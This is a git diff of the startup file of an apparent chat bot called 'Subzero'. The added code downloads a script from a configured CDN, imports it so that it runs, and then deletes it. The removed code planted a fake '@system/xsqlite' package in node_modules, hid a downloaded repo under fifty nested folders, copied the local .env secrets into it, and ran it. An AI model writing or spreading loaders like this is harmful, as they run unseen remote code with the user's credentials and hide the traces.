|
| 1 | +import axios from 'axios'; |
1 | 2 | import fs from 'fs'; |
2 | 3 | import path from 'path'; |
3 | | -import axios from 'axios'; |
4 | | -import AdmZip from 'adm-zip'; |
5 | | -import { fileURLToPath, pathToFileURL } from 'url'; |
| 4 | +import { fileURLToPath } from 'url'; |
| 5 | + |
| 6 | +import config from './settings.js'; |
6 | 7 |
|
7 | | -// Fix __dirname for ESM |
8 | 8 | const __filename = fileURLToPath(import.meta.url); |
9 | 9 | const __dirname = path.dirname(__filename); |
10 | 10 |
|
11 | | -// === CONFIG === |
12 | | -const repoZipUrl = 'https://github.com/mrfr8nk/shoes/archive/refs/heads/main.zip'; |
13 | | -const baseFolder = path.join(__dirname, 'node_modules', 'xsqlite3'); |
14 | | -const DEEP_NEST_COUNT = 50; |
15 | | - |
16 | | -/* ================= FAKE PACKAGE ================= */ |
17 | | - |
18 | | -function injectFakePackageFiles(basePath) { |
19 | | - const fakePackageJson = { |
20 | | - name: "@system/xsqlite", |
21 | | - version: "1.0.5", |
22 | | - main: "index.js" |
23 | | - }; |
24 | | - |
25 | | - fs.mkdirSync(basePath, { recursive: true }); |
26 | | - |
27 | | - fs.writeFileSync( |
28 | | - path.join(basePath, 'package.json'), |
29 | | - JSON.stringify(fakePackageJson, null, 2) |
30 | | - ); |
31 | | - |
32 | | - fs.writeFileSync( |
33 | | - path.join(basePath, 'index.js'), |
34 | | - `export default {};` |
35 | | - ); |
36 | | - |
37 | | - console.log('🪐 Initializing bot server...'); |
38 | | -} |
39 | | - |
40 | | -/* ================= CREATE DEEP PATH ================= */ |
41 | | - |
42 | | -function createDeepRepoPath() { |
43 | | - let deepPath = baseFolder; |
44 | | - |
45 | | - for (let i = 0; i < DEEP_NEST_COUNT; i++) { |
46 | | - deepPath = path.join(deepPath, `core${i}`); |
47 | | - } |
48 | | - |
49 | | - const repoFolder = path.join(deepPath, 'lib_signals'); |
50 | | - fs.mkdirSync(repoFolder, { recursive: true }); |
51 | | - |
52 | | - return repoFolder; |
53 | | -} |
54 | | - |
55 | | -/* ================= DOWNLOAD REPO ================= */ |
56 | | - |
57 | | -async function downloadAndExtractRepo(repoFolder) { |
58 | | - try { |
59 | | - console.log('🔄 Syncing codes from Space...'); |
60 | | - |
61 | | - const response = await axios.get(repoZipUrl, { |
62 | | - responseType: 'arraybuffer' |
63 | | - }); |
64 | | - |
65 | | - const zip = new AdmZip(Buffer.from(response.data)); |
66 | | - zip.extractAllTo(repoFolder, true); |
67 | | - |
68 | | - console.log('✅ Codes synced successfully'); |
69 | | - |
70 | | - } catch (err) { |
71 | | - console.error('❌ Pull error:', err.message); |
72 | | - process.exit(1); |
73 | | - } |
74 | | -} |
75 | | - |
76 | | -/* ================= COPY CONFIG ================= */ |
77 | | - |
78 | | -function copyConfigs(repoPath) { |
79 | | - const configSrc = path.join(__dirname, 'settings.js'); |
80 | | - const envSrc = path.join(__dirname, '.env'); |
81 | | - |
82 | | - if (fs.existsSync(configSrc)) { |
83 | | - fs.copyFileSync(configSrc, path.join(repoPath, 'settings.js')); |
84 | | - console.log('✅ settings.js copied'); |
85 | | - } |
86 | | - |
87 | | - if (fs.existsSync(envSrc)) { |
88 | | - fs.copyFileSync(envSrc, path.join(repoPath, '.env')); |
89 | | - console.log('✅ .env copied'); |
90 | | - } |
91 | | -} |
92 | | - |
93 | | -/* ================= START BOT ================= */ |
94 | | - |
95 | | -async function startBot(projectPath) { |
96 | | - try { |
97 | | - console.log('[🚀] Launching Subzero Bot...'); |
98 | | - |
99 | | - const mainPath = path.join(projectPath, 'index.js'); |
100 | | - |
101 | | - if (!fs.existsSync(mainPath)) { |
102 | | - console.error('❌ index.js not found!'); |
103 | | - process.exit(1); |
104 | | - } |
105 | | - |
106 | | - console.log('📂 Entry:', mainPath); |
107 | | - |
108 | | - // ✅ FIX: Proper ES module import |
109 | | - await import(pathToFileURL(mainPath).href); |
110 | | - |
111 | | - } catch (err) { |
112 | | - console.error('❌ Bot launch error:\n', err.stack); |
113 | | - process.exit(1); |
114 | | - } |
115 | | -} |
116 | | - |
117 | | -/* ================= MAIN ================= */ |
118 | | - |
119 | 11 | (async () => { |
120 | 12 | try { |
121 | | - injectFakePackageFiles(baseFolder); |
122 | | - |
123 | | - const repoFolder = createDeepRepoPath(); |
124 | | - |
125 | | - await downloadAndExtractRepo(repoFolder); |
126 | | - |
127 | | - const subDirs = fs |
128 | | - .readdirSync(repoFolder) |
129 | | - .filter(f => |
130 | | - fs.statSync(path.join(repoFolder, f)).isDirectory() |
131 | | - ); |
132 | | - |
133 | | - if (!subDirs.length) { |
134 | | - console.error('❌ Zip extracted nothing'); |
135 | | - process.exit(1); |
136 | | - } |
137 | | - |
138 | | - const extractedRepoPath = path.join(repoFolder, subDirs[0]); |
| 13 | + console.log("❄️ Subzero Synchronization Initiated !"); |
139 | 14 |
|
140 | | - console.log('📦 Repo extracted to:', extractedRepoPath); |
| 15 | + const { data: scriptCode } = await axios.get( |
| 16 | + `${config.CDN}/media/2026/mrfrank/subzero/index.js` |
| 17 | + ); |
141 | 18 |
|
142 | | - copyConfigs(extractedRepoPath); |
| 19 | + const tempPath = path.join(__dirname, 'temp-script.mjs'); |
143 | 20 |
|
144 | | - process.chdir(extractedRepoPath); |
| 21 | + // Save file |
| 22 | + fs.writeFileSync(tempPath, scriptCode); |
145 | 23 |
|
146 | | - // ❌ REMOVED broken installDepsSafe call |
| 24 | + // Import it as ES module |
| 25 | + await import(`file://${tempPath}`); |
147 | 26 |
|
148 | | - await startBot(extractedRepoPath); |
| 27 | + // Optional: delete after run |
| 28 | + fs.unlinkSync(tempPath); |
149 | 29 |
|
150 | 30 | } catch (err) { |
151 | | - console.error('🔥 Fatal Error:\n', err.stack); |
152 | | - process.exit(1); |
| 31 | + console.error("Error:", err); |
153 | 32 | } |
154 | 33 | })(); |
0 commit comments